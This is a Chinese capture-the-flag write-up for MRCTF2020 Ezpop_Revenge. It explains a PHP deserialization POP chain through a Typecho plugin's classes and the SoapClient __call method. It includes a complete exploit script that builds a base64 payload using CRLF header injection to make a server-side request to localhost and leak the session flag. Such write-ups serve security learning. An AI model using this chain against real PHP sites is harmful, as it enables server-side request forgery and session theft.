因为是一_2020 revengep">
当前位置:   article > 正文

[MRCTF2020]Ezpop_Revenge_2020 revengephp

2020 revengephp

题目打开是个typecho博客,www.zip泄露,下载得到源码

看到flag.php可能是一个SSRF的题

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   $_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

因为是一个反序列构造POP链的题目,所以先找反序列化点
代码比较多,简化一下,这个Plugin.php中的核心代码如下:

<?php
class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
class HelloWorld_Plugin implements Typecho_Plugin_Interface
{
	public function action(){
        if(!isset($_SESSION)) session_start();
        if(isset($_REQUEST['admin'])) var_dump($_SESSION);
        if (isset($_POST['C0incid3nc3'])) {
			if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
				unserialize(base64_decode($_POST['C0incid3nc3']));
			else {
				echo "Not that easy.";
			}
        }
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

看到action函数,很明显可以看到关键点,如果设置了$_REQUEST['admin'],就会输出session,正好flag会存在session中,并且发现输入点$_POST['C0incid3nc3']进行反序列操作
在HelloWorld_DB函数中又发现了__wakeup魔术方法

在反序列化unserialize时,会检查是否存在__wakeup方法,如果存在,则会调用__wakeup方法,预先准备对象数据。
  • 1

__wakeup()方法内实例化了Typecho_Db类,传给构造方法的参数是$this->coincidence数组的两个键值,跟进/var/IXR/Typecho/Db.php:

  public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
        }

        $this->_prefix = $prefix;f

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

这个构造方法内将$adapterName作为字符串进行了拼接,会触发__tostring魔术方法
在/var/IXR/Typecho/Db/Query.php中有__tostring方法
在/var/IXR/Typecho/Db/Query.php中有一个非常长的Typecho_Db_Query类,有用的代码如下:

class Typecho_Db_Query
{
    private static $_default = array(
        'action' => NULL,
        'table'  => NULL,
        'fields' => '*',
        'join'   => array(),
        'where'  => NULL,
        'limit'  => NULL,
        'offset' => NULL,
        'order'  => NULL,
        'group'  => NULL,
        'having'  => NULL,
        'rows'   => array(),
    );
    private $_sqlPreBuild;
    public function __toString()
    {
        switch ($this->_sqlPreBuild['action']) {
            case Typecho_Db::SELECT:
                return $this->_adapter->parseSelect($this->_sqlPreBuild);
            case Typecho_Db::INSERT:
                return 'INSERT INTO '
                . $this->_sqlPreBuild['table']
                . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
                . ' VALUES '
                . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
                . $this->_sqlPreBuild['limit'];
            case Typecho_Db::DELETE:
                return 'DELETE FROM '
                . $this->_sqlPreBuild['table']
                . $this->_sqlPreBuild['where'];
            case Typecho_Db::UPDATE:
                $columns = array();
                if (isset($this->_sqlPreBuild['rows'])) {
                    foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
                        $columns[] = "$key = $val";
                    }
                }

                return 'UPDATE '
                . $this->_sqlPreBuild['table']
                . ' SET ' . implode(' , ', $columns)
                . $this->_sqlPreBuild['where'];
            default:
                return NULL;
        }
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49

假设$this->_sqlPreBuild['action']为SELECT,在__toString()方法内就会返回$this->_adapter->parseSelect($this->_sqlPreBuild),调用了$this->_adapterparseSelect()方法
我们发现这个值我们也是可控的,这个时候我们控制_adapter为soap类就可以了~~
POP链逻辑:

  • 反序列化HelloWorld_DB,就触发了__wakeup()方法,在__wakeup()内实例化Typecho_Db并以$this->coincidence['hello']作为Typecho_Db__construct()方法的第一个参数;
  • PHP的数组是可以存对象,假设$this->coincidence['hello']实例化Typecho_Db_Query对象,在Typecho_Db的构造方法中将其作为字符串,就触发了Typecho_Db_Query__toString()方法;
  • __toString()内,如果$_sqlPreBuild['action']SELECT就会触发$_adapterparseSelect()方法;
  • $_adapter实例化为SoapClient,调用parseSelect()是不存在的方法,触发了SoapClient的__call()魔术方法
    -__call()是实现SSRF的关键
public SoapClient::__call ( string $function_name , array $arguments )
  • 1

POP链清楚了,exp就很好写,本题目有个坑的地方,直接生成的payload不会触发成功,要将字符串改写成十六进制,也就是将表示字符串的s写成大写S,这样private属性后面的%00这个不可见字符就能写成\00(如果是小写s 这个\00表示一个斜线和两个0 是三个字符)构造了好几个小时怎么都不能把flag带出来
参考Y1ng师傅的脚本:

<?php
//www.gem-love.com
class Typecho_Db_Query
{
    private $_adapter;
    private $_sqlPreBuild;

    public function __construct()
    {
        $target = "http://127.0.0.1/flag.php";
        $headers = array(
            'X-Forwarded-For:127.0.0.1',
            "Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rm4"
        );
        $this->_adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'Y1ng^^' . join('^^', $headers)));
        $this->_sqlPreBuild = ['action' => "SELECT"];
    }
}

class HelloWorld_DB
{
    private $coincidence;
    public function __construct()
    {
        $this->coincidence = array("hello" => new Typecho_Db_Query());
    }
}

function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    echo "www.gem-love.com\n";
    return $newstr;
}

$y1ng = serialize(new HelloWorld_DB());
$y1ng = preg_replace(" /\^\^/", "\r\n", $y1ng);
$urlen = urlencode($y1ng);
$urlen = preg_replace('/%00/', '%5c%30%30', $urlen);
$y1ng = decorate(urldecode($urlen));
echo base64_encode($y1ng);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53

因为想要带SESSION出来,必须要把自己的PHPSESSID传过去,然而SOAP并不能设置Cookie,因此需要CRLF。SoapClient可以设置UA,只要在UA后加上\r\nCookie: PHPSESSID=xxx就能为http头添加一个新的Cookie字段,这样就能带上session了

CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。
  • 1

还有最后一个问题,这个插件现在还不知道在哪调用,不知道在哪执行就不能反序列化。在/var/Typecho/Plugin.php中有如下路由代码:

public static function activate($pluginName)
{
    self::$_plugins['activated'][$pluginName] = self::$_tmp;
    self::$_tmp = array();
    Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

到/page_admin,POST提交生成的payload,就会SOAP去访问flag.php实现SSRF把flag带到session中,然后带上admin参数来输出session即可得到flag

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/人工智能uu/article/detail/936696
推荐阅读
相关标签
  

闽ICP备14008679号